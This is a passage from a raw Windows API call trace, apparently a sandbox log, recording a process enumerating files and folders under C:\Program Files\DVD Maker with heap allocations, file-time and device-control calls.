dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0065.607] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0065.607] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa097b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa097b8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0065.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa097b8) returned 1 [0065.607] NtClose (Handle=0x158) returned 0x0 [0065.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07cb0 [0065.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07d38 [0065.607] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0065.607] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.607] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04580 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07e48 [0065.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.608] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa045a0 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07ed0 [0065.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.608] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa045c0 [0065.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07f58 [0065.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.608] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0065.608] GetLastError () returned 0x12 [0065.608] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9140 [0065.609] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0065.609] GetLastError () returned 0x12 [0065.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07d38) returned 1 [0065.609] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0065.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07cb0) returned 1 [0065.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0065.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.610] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared" (normalized: "c:\\program files\\dvd maker\\shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0065.610] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0065.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa097b8 [0065.610] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa097b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa097b8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0065.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa097b8) returned 1 [0065.610] NtClose (Handle=0x170) returned 0x0 [0065.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0065.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa076d8 [0065.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07cb0 [0065.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07d38 [0065.610] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9140 [0065.657] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.657] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0065.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa045e0 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07fe0 [0065.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.658] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04600 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08068 [0065.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.658] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04620 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa080f0 [0065.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.659] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="")) returned 1 [0065.659] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04640 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08178 [0065.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.659] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07dc0 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04660 [0065.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08200 [0065.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0065.659] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, 